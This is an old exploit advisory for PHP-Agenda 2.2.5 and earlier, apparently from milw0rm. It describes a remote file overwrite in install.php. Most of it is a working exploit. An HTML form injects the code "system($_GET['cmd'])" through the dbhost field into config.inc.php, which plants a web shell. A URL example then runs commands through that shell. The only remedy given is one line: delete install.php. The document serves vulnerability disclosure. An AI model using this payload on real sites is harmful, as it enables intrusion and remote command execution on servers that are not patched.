PHP-Agenda <= 2.2.5 Remote File Overwriting Vulnerabilities*******   Salvatore `drosophila` Fresta   *******

[+] Application: PHP-agenda
[+] Version: <= 2.2.5
[+] Website: http://php-agenda.sourceforge.net

[+] Bugs: [A] Remote File Overwriting

[+] Exploitation: Remote
[+] Date: 10 Apr 2009

[+] Discovered by: Salvatore `drosophila` Fresta
[+] Author: Salvatore `drosophila` Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


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[+] Menu

1) Bugs
2) Code
3) Fix


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[+] Bugs


- [A] Remote File Overwriting

[-] Risk: hight
[-] File affected: install.php

This bug allows a guest to overwrite config.inc.php
inserting PHP code.


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[+] Code


- [A] Remote File Overwriting


  PHP-agenda <= 2.2.5 - Remote File Overwriting
  <body>
    <form action=`http://www.site.com/path/install.php` method=`post`>
      <input type=`text` name=`dbhost` size=`30` value=`'; system($_GET['cmd']); echo '`>
      <input type=`submit` value=`Exploit!` >
    </form>
  </body>


To execute commands:

http://www.site.com/path/config.inc.php?cmd=uname -a


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[+] Fix

You must delete install.php after installation.


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# milw0rm.com [2009-04-10]
